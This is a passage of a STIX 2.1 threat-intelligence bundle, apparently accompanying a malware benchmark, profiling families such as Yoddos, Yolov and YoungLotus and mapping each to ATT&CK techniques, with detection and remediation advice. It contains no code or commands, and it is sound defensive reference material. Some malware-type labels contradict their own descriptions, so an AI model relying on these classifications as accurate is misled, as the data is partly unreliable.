      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a8ddadb-b998-59cb-a999-53fcc7cdf24d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobrowser exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eabe826b-c920-5c97-96fe-1ac48ade12f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobrowser exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a6c431a-20ee-524b-87a0-c59e3b0b8080",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobrowser exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1367be0b-ff43-5290-adfd-aad7fb17a1f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yoddos",
      "description": "Trojan:Win32/Yoddos (also known as the **Yoddos Botnet**) is a significant malware family specifically engineered to compromise endpoints and recruit them into a massive, decentralized botnet whose primary purpose is launching Distributed Denial of Service (DDoS) attacks. Threat actors rent out the Yoddos infrastructure to extort businesses, disrupt competitors, or cause generalized chaos on the internet.<br><br><b>Understanding the Yoddos Botnet</b><br>To the infected user, the malware is mostly invisible, aside from potential severe system sluggishness or a completely saturated internet connection when an attack is ordered. For a security analyst, a Yoddos infection represents a critical abuse of the organization's network resources. By participating in a DDoS attack, the corporate IP address is heavily implicated in a cyberattack, leading to severe reputational damage and the IP being blacklisted by major ISPs.<br><br><b>Execution and DDoS Mechanics</b><br>Yoddos is typically distributed via exploit kits (`T1189`), weaponized spam attachments, or bundled with pirated software. Upon execution, it drops a randomized executable into the `%SystemRoot%` or `%Temp%` directory and establishes persistence via Registry Run keys (`T1547.001`). It heavily obfuscates itself to evade detection (`T1027`). The core component connects to a hardcoded Command and Control (C2) server, often utilizing IRC or custom encrypted TCP protocols, and waits for instructions (`T1071.001`). When the botmaster issues an attack command, Yoddos utilizes the infected machine's bandwidth to launch various flooding attacks\u2014most commonly TCP SYN floods, UDP floods, or HTTP GET floods (`T1498`) against a target IP address.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is massive network bandwidth consumption, localized endpoint denial of service (due to resource exhaustion), and corporate IP blacklisting. The primary IoCs are network-based: analysts will observe a massive, sudden spike in outbound traffic (specifically TCP SYN or UDP packets) directed at a single, unknown external IP address. Host-based IoCs include EDR alerts for a suspicious, persistent process (often spoofing a Windows system name like `svchost.exe`) consuming high network resources. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yoddos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yoddos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01a2370e-e11c-56ed-aa9f-fde9da181ebb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1367be0b-ff43-5290-adfd-aad7fb17a1f2",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yoddos exhibits technique T1498 (Network Denial of Service (TCP SYN / UDP Flooding))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b532a39-d0df-5388-813d-e4d5bdf8fb2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1367be0b-ff43-5290-adfd-aad7fb17a1f2",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yoddos exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8862d10f-efc6-5979-a91c-6a512a4bf859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1367be0b-ff43-5290-adfd-aad7fb17a1f2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yoddos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2043ee2a-4e08-58c9-8386-c36ea32d915d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1367be0b-ff43-5290-adfd-aad7fb17a1f2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yoddos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fd629e0-ce9f-556c-b5ca-5d2a34553c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yolov",
      "description": "<h3>Executive Summary</h3>\nYolov is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nYolov is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Yolov operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Yolov ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Yolov receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Yolov infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Yolov executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Yolov frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Yolov",
        "Downloader.Yolov",
        "Win32/Yolov"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yolov",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yolov"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9e1c3ab-0277-5e9e-8c10-505e2de7b100",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd629e0-ce9f-556c-b5ca-5d2a34553c8e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yolov exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73c1a576-e708-5564-9153-5f4b2b396de4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd629e0-ce9f-556c-b5ca-5d2a34553c8e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yolov exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--722c4a6e-beb6-5249-b283-83b7f603b252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fd629e0-ce9f-556c-b5ca-5d2a34553c8e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yolov exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f4145fe-d45a-5248-b9e4-c5a7750c1a90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Younglotus",
      "description": "<h3>Executive Summary</h3>\nYoungLotus is a highly sophisticated Backdoor and espionage tool historically associated with targeted Advanced Persistent Threat (APT) campaigns, particularly those originating from Southeast Asian threat actors (such as OceanLotus/APT32). It is designed to provide attackers with covert, long-term access to compromised networks for the purpose of stealing intellectual property, monitoring dissidents, and conducting geopolitical espionage.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nYoungLotus is deployed in highly targeted operations. Infection vectors include sophisticated spear-phishing emails containing weaponized, malicious macros (often utilizing zero-day exploits) or via strategic web compromises (watering hole attacks) targeting specific industries or organizations.\n\nOnce executed, YoungLotus demonstrates advanced evasion and espionage capabilities:\n<ul>\n<li><strong>Multi-Stage Loading and Fileless Execution:</strong> The initial payload is typically a simple loader that extracts an encrypted, heavily obfuscated payload from the registry or a fake image file (steganography). The core YoungLotus backdoor is then executed entirely in memory (filelessly) to evade disk-based AV scans.</li>\n<li><strong>Custom C2 Infrastructure:</strong> The backdoor communicates with its Command and Control (C2) servers using heavily encrypted, custom protocols. It often routes traffic through compromised, legitimate websites to mask the destination and evade network traffic analysis.</li>\n<li><strong>Comprehensive Espionage Suite:</strong> The malware grants the operator full control over the system, allowing for arbitrary command execution, credential dumping (from LSASS), keystroke logging, and the silent archiving and exfiltration of sensitive documents.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of YoungLotus is a critical, tier-one security incident indicating a successful breach by a highly capable, well-resourced state-sponsored adversary. The primary concern is the silent, ongoing theft of highly sensitive corporate or government data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Forensic Triage and Containment:</strong> Do not immediately wipe the machine. Isolate the endpoint from the internet, but maintain power to allow Incident Response teams to capture volatile memory (RAM) to analyze the memory-resident backdoor and extract C2 indicators.</li>\n<li><strong>Enterprise-Wide Threat Hunt:</strong> The presence of YoungLotus on one endpoint strongly implies lateral movement. A comprehensive enterprise-wide threat hunt must be initiated to identify all compromised assets and secondary persistence mechanisms.</li>\n<li><strong>Complete Architecture Review:</strong> Remediation requires a full rebuild of the compromised endpoints from clean baselines, a complete reset of the Active Directory environment (including the KRBTGT account), and a fundamental review of network segmentation and access controls.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.YoungLotus",
        "Backdoor.OceanLotus",
        "Trojan.APT32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Younglotus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/younglotus"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77fad234-1bea-5006-9b4c-21c6e5caffca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f4145fe-d45a-5248-b9e4-c5a7750c1a90",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Younglotus exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d63fb21e-283c-5d89-9211-1bc68891c647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f4145fe-d45a-5248-b9e4-c5a7750c1a90",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Younglotus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f80d6b69-2a7d-5b77-aa94-8242d6c6bd3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f4145fe-d45a-5248-b9e4-c5a7750c1a90",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Younglotus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e91b68b5-6465-53c0-b9ac-e049231a43cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f4145fe-d45a-5248-b9e4-c5a7750c1a90",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Younglotus exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b2c949ec-3078-5a89-b7ee-262eb6b5af0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Youtubedownloaderguru",
      "description": "<h3>Executive Summary</h3>\nYoutubeDownloaderGuru is a prevalent Potentially Unwanted Program (PUP) and Adware family that masquerades as a legitimate, highly sought-after utility for downloading videos from streaming platforms. While the software may technically perform the advertised function, its primary objective is to aggressively monetize the user's system by injecting intrusive advertisements, altering browser settings, and collecting telemetry data.\n\n<h3>Distribution and Technical Behavior</h3>\nThis PUP is primarily distributed through deceptive search engine optimization (SEO) tactics. When users search for \"free video downloaders,\" they are directed to landing pages that offer the tool. It is also frequently bundled as a \"recommended offer\" within the installers of other freeware applications.\n\nOnce installed, YoutubeDownloaderGuru exhibits aggressive adware behaviors:\n<ul>\n<li><strong>Browser Hijacking:</strong> The software forcefully alters the default search engine and homepage of installed browsers (Chrome, Edge, Firefox). Search traffic is redirected through affiliate networks to generate pay-per-click revenue for the developers.</li>\n<li><strong>Ad Injection and Overlays:</strong> The PUP often installs a background service or browser extension that intercepts web traffic. It injects banners, pop-unders, and sponsored links directly into the user's web viewing experience, regardless of the site they are visiting.</li>\n<li><strong>Telemetry and Tracking:</strong> The application continuously tracks the user's browsing history, search queries, and the videos they download. This data is transmitted back to the developers and often sold to third-party marketing or data brokerage firms.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile YoutubeDownloaderGuru is not a destructive virus or a banking trojan, it introduces significant operational friction and privacy risks. The continuous ad injections severely degrade system performance, and the hijacked search results are often served by low-tier ad networks, increasing the risk of exposure to more severe \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Standard Uninstallation:</strong> In many cases, the PUP can be removed via the standard Windows \"Add/Remove Programs\" utility. However, users must be cautious of deceptive uninstallation prompts designed to cancel the removal process.</li>\n<li><strong>Browser Reset:</strong> After removing the primary application, users must manually inspect their web browsers. Any unknown extensions must be deleted, and the browser settings (homepage, search engine) must be restored to their default state.</li>\n<li><strong>Endpoint Scanning:</strong> Run a scan using a reputable anti-malware solution to ensure no secondary adware components or scheduled tasks were left behind to facilitate a re-infection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.YoutubeDownloader",
        "PUP.VideoDownloader",
        "BrowserModifier:Win32/YoutubeDownloaderGuru"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Youtubedownloaderguru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/youtubedownloaderguru"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f1ba32c-011f-5c7f-a3f9-c28bcfbf6471",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2c949ec-3078-5a89-b7ee-262eb6b5af0a",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youtubedownloaderguru exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9e7420e-2ce7-550e-b46c-31a31ecf8247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2c949ec-3078-5a89-b7ee-262eb6b5af0a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youtubedownloaderguru exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5db80c6c-8c29-5a4b-8c0a-3aed48aa34bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2c949ec-3078-5a89-b7ee-262eb6b5af0a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youtubedownloaderguru exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Youxun",
      "description": "Youxun (cataloged by security vendors as Adware:Win32/Youxun, PUA:Win32/Youxun, and Win32/Youxun) is an aggressive software monetization platform and smart downloader utility active since 2016. Originating primarily from Chinese freeware download portals and third-party software hubs (often packaged as '\u667a\u80fd\u4e0b\u8f7d\u5668.exe'), Youxun is bundled into free utilities, game patches, and media converters. Upon execution, Youxun connects to remote distribution servers to retrieve dynamic software installation manifests, silently downloading and installing multiple unwanted third-party applications, promotional helper toolbars, and rogue browser search extensions without clear user consent. Additionally, Youxun injects intrusive desktop pop-up advertisements, redirects web search queries to sponsored monetization portals, and beacons host hardware configurations and user browsing behavior to advertising telemetry servers. (Observed samples in benchmark: 84)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Youxun",
        "PUA:Win32/Youxun",
        "Win32/Youxun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Youxun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/youxun"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ba6cc8e-16c5-532b-aec0-8d6b6dab0e8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youxun exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17c117b5-c445-539e-bc5f-e01b27b336b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youxun exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c95a71e5-c84e-54b2-9569-b7bc93084417",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youxun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e8e06dc-de91-5111-bbb3-366024f1a170",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youxun exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fd41a44-2c38-57ec-a4d2-bb9111b0c884",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b63e38c7-26c6-5ffc-89bc-43cc1e4fc692",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Youxun exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ytddownloader",
      "description": "YTD Downloader (commonly cataloged across endpoint security vendors under signatures including PUA:Win32/YTDDownloader, SoftwareBundler:Win32/YTDVideoDownloader, and PUP.Optional.YTDDownloader) is a widely distributed potentially unwanted application (PUA) and software bundler marketed as a video downloading utility. Propagated through third-party download directories, aggressive search redirect ads, and misleading installation wrappers, YTD Downloader bundles extraneous commercial software components, browser modifiers, and adware plugins without explicit, clear user disclosure. Once deployed onto a Windows system, the program establishes persistence by configuring startup registry run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and scheduling background maintenance tasks. It frequently generates disruptive pop-up advertisements prompting users to purchase commercial Pro licenses, injects affiliate links and banner advertisements into active browsing sessions, and may redirect default search queries to partner advertising portals. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/YTDDownloader",
        "SoftwareBundler:Win32/YTDVideoDownloader",
        "PUP.Optional.YTDDownloader",
        "Adware:Win32/YTDDownloader",
        "Win32/YTDVideoDownloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ytddownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ytddownloader"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75b4c0b8-1f4d-53fb-bb03-814bdc47039e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytddownloader exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36c3aff8-aea2-5ba8-9d43-fb45f4055a14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytddownloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff43c376-45c3-53a0-a426-548656153766",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytddownloader exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08d045bd-f5ca-51bc-b4b6-b0c4d263e07f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytddownloader exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fc398a5-9b08-57c1-a329-62bb497a1061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9197e2d-2465-5119-bf6d-7777a29dff16",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytddownloader exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
